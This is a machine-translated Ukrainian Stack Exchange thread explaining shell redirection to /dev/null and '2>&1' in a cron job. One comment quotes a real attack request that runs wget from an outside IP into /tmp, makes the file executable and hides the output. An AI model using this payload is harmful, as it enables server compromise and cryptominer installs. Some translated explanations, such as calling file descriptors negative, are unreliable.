Що таке / dev / null 2> & 1?


237

Я знайшов цей фрагмент коду в /etc/cron.daily/apf

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

Це промивання та перезавантаження брандмауера.
Я не розумію >> /dev/null 2>&1частини.

Яка мета мати це в кроні? Це перевищує мої правила брандмауера. Чи можу я безпечно зняти цю роботу з крона?


1
FYI: Коротший спосіб приглушити процес >&- 2>&-.
Заз

22
@Josh: чому зробити речі ще більш кричущими, ніж вони є?
ендоліт

4
@Josh Це закриває відповідні FD, які можуть змусити програми перервати.
glglgl

1
це 2>&1 > /dev/nullте саме, що > /dev/null 2>&1 ? Мені це здається більш природним ...
edelans

6
@edelans Ні. Таким чином перенаправляє stderr до stdout, але тоді /dev/nullвиводиться тільки оригінальний stdout до —stderr. Спробуйте інструмент за адресою gist.github.com/zigg/344361751c0110419b0f
zigg

Відповіді:


354

>> /dev/nullперенаправляє стандартний вихід ( stdout) на /dev/null, який відкидає його.

( >>Здається, це щось зайве, оскільки >>означає додавання в той час, коли >означає скорочення і запис, і або додавання, або написання, /dev/nullмає той же чистий ефект. Я зазвичай просто використовую >з цієї причини.)

2>&1перенаправляє стандартну помилку ( 2) до стандартного виводу ( 1), яка потім її також відкидає, оскільки стандартний вихід вже перенаправлений.


7
Про що &вказує символ 2>&1.
Ніхто

17
& вказує дескриптор файлу. Зазвичай є 3 дескриптори файлів - стандартне введення, вихід та помилка.
Тестування123

1
@Nobody перевірити мою відповідь нижче для вашого питання stackoverflow.com/questions/10508843/what-is-dev-null-21 / ...
Vishrant

1
Якщо & вказує дескриптор файлу, то чому немає & до 2?
користувач6708151

1
Про всяк випадок, якщо інші не прочитають відповідь, що пояснює дескриптори файлів:When redirecting data streams, & means whatever follows is a file descriptor, not a filename.
Elysiumplain

199

Розбимо >> /dev/null 2>&1заяву на частини:


Частина 1: >> перенаправлення виводу

Це використовується для перенаправлення результату програми та додавання результату в кінці файлу. Більше ...


Частина 2: /dev/null спеціальний файл

Це спеціальний файл псевдоприладів .

Команда ls -l /dev/nullдасть вам інформацію про цей файл:

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

Ви спостерігали crw? Що означає, що це файл псевдопристрою, що має характер-спеціальний файл, який забезпечує послідовний доступ.

/dev/nullприймає та відкидає всі дані; не дає результатів (завжди повертає вказівку кінця файлу при прочитаному). Довідка: Вікіпедія


Частина 3: 2>&1 дескриптор файлу

Щоразу, коли ви виконуєте програму, операційна система завжди відкриває три файли, стандартний вхід, стандартний вихід і стандартну помилку, як ми знаємо, щоразу, коли файл відкривається, операційна система (з ядра ) повертає негативне ціле число, яке називається дескриптором файлу . Дескриптор файлів для цих файлів відповідно 0, 1 і 2.

Так 2>&1просто кажуть, що перенаправлення стандартної помилки на стандартний вихід.

& означає, що далі - дескриптор файлу, а не ім'я файлу.

Коротше кажучи, за допомогою цієї команди ви говорите програмі не кричати під час виконання.

У чому важливість використання 2>&1?

Якщо ви не хочете робити жодного результату, навіть у випадку помилки, що виникає в терміналі. Для більш чіткого пояснення розглянемо наступний приклад:

$ ls -l > /dev/null

Для вищевказаної команди в терміналі не було надруковано жодного виводу, але що робити, якщо ця команда видає помилку:

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

Незважаючи на те, що я перенаправляю вихід /dev/null, він друкується в терміналі. Це тому, що ми не переспрямовуємо вихід помилок /dev/null, тому для того, щоб перенаправити вихід помилок, потрібно додати 2>&1:

$ ls -l file_doesnot_exists > /dev/null 2>&1

2
Хороший приклад! Не знаю, що ">" не буде перенаправляти "STDERR" раніше.
miao.wang

Чудово пояснено! дуже інформативний. Дякую. Це допомогло б мені зрозуміти веб-атаку, на яку я нещодавно натрапив. Зловмисник вводить якийсь шкідливий код через POST-запит, який містить наведений вище код.
Сохель Патан

1
@Vishrant Введений код схожий на: POST / user / password? Ім'я [% 23post_render] [] = система & name [% 23markup] = cd + / tmp; wget + -O + xm111 + xxx.xxx.xxx.xxx/xm111 ;chmod+777+ xm111; wget + -O + config.json + http: /… > / dev / null 2> & 1 & HTTP / 1.1 xxx.xxx.xxx.xxx - це IP-адреса злочинця, і він також вказаний як образливий на багатьох сайтах. Першим і головним профілактичним кроком є ​​блокування ІР в брандмауері, а також схема таких ІС. Атака полягала в переадресації на сторонній веб-сайт на завантаження домашньої сторінки. Журнал сервера Apache показав сумнівну IP та запит.
Сохель Патан

5
Мені було просто цікаво, чому ми також не використовуємо "&" перед 2. Може хтось, будь ласка, очистить мій сумнів?
Snehasish Karmakar

1
@SnehasishKarmakar правомірне питання. Я вважаю, що ОС достатньо розумна, щоб зрозуміти, що перший аргумент буде дескриптором файлів, але >це оператор перенаправлення; все, що слідує після того, як очікується, що оператор перенаправлення буде додавати місце розташування файлу &раніше, 1вказує на те, що це не файл, куди програма повинна перенаправляти вихід, але дескриптор файлу. Я буду вдячний, якщо хтось може додати більше деталей цього коментаря.
Вішрант

58

Це спосіб спокійно виконати програму і приховати весь її вихід.

/dev/null- це спеціальний об'єкт файлової системи, який відкидає все, що в ньому записано. Перенаправлення потоку в нього означає приховування результатів вашої програми.

В 2>&1означає частину «перенаправити потік помилок в вихідний потік», тому , коли ви перенаправити вихідний потік, потік помилок перенаправляється , а також. Навіть якщо ваша програма stderrзараз пише , цей вихід також буде відкинутий.


37
Насправді 2>&1насправді перенаправляє stderrна stdout. Різниця між цим та тим, що ви заявили, найкраще проілюструє, змінюючи порядок переадресацій, наприклад 2>&1 >/dev/null.
zigg

15

/dev/null - це стандартний файл, який відкидає все, що ви пишете на нього, але повідомляє, що операція запису вдалася.

1- це стандартний вихід і 2є стандартною помилкою.

2>&1перенаправляє стандартну помилку на стандартний вихід. &1вказує на дескриптор файлу (стандартний вихід), інакше (якщо ви використовуєте лише 1) ви перенаправляєте стандартну помилку на файл з ім'ям 1. [any command] >>/dev/null 2>&1перенаправляє всю стандартну помилку до стандартного виводу і записує все до цього /dev/null.


7

Я використовую >> /dev/null 2>&1для мовчазного кронінгу. Cronjob зробить роботу, але не надсилатиме звіт на мій електронний лист.

Наскільки я знаю, не знімайте /dev/null. Це корисно, особливо коли ви запускаєте cPanel , його можна використовувати для викидання звітів про cronjob.


2

Як описано іншими, запис у / dev / null виключає вихід програми. Зазвичай cron надсилає електронне повідомлення для кожного виходу з процесу, розпочатого за допомогою cronjob. Отже, записуючи вихід у / dev / null, ви запобігаєте спаму, якщо ви вказали свою адресу в cron.


0

Редагувати /etc/conf.apf. Встановити DEVEL_MODE="0". DEVEL_MODEвстановити 1, що додасть роботу cron, щоб зупинити apf через 5 хвилин.

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.